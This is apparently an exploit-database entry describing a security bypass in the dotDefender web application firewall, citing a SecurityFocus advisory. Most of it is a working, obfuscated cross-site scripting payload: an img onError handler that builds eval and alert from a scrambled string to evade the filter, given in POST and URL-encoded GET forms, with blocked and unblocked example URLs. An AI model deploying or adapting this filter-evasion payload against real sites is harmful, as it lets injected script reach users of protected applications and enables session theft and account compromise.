dotDefender – Cross-Site Scripting Security Bypass
source: https://www.securityfocus.com/bid/41560/info dotDefender is prone to a security-bypass vulnerability because it fails to restrict malicious data from reaching protected sites. Remote attackers can exploit this issue to bypass security restrictions and to launch cross-site scripting attacks. <img src="https://www.exploit-db.com/exploits/34297/WTF" onError="{var {3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v+a+e+s](e+s+v+h+n)(/0wn3d/ .source )" /> //POST <img src="https://www.exploit-db.com/exploits/34297/WTF" onError="{var {3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v%2Ba%2Be%2Bs](e%2Bs%2Bv%2B h%2Bn)( /0wn3d/.source)" /> //GET EXAMPLES: Blocked: http://www.example.com/search?q=%3Cimg%20src=%22WTF%22%20onError=%22{var%20{3:s,2:h,5:a,0:v,4:n,1:e}=%27earltv%27}[self][0][v%2Ba%2Be%2Bs]%28e%2Bs%2Bv%2Bh%2Bn%29%28/0wn3d/.source%29%22%20/%3E Unblocked: http://www.example.com/search?q=%3Cimg%20src=%22WTF%22%20onError=alert(/0wn3d/.source)%20/%3E |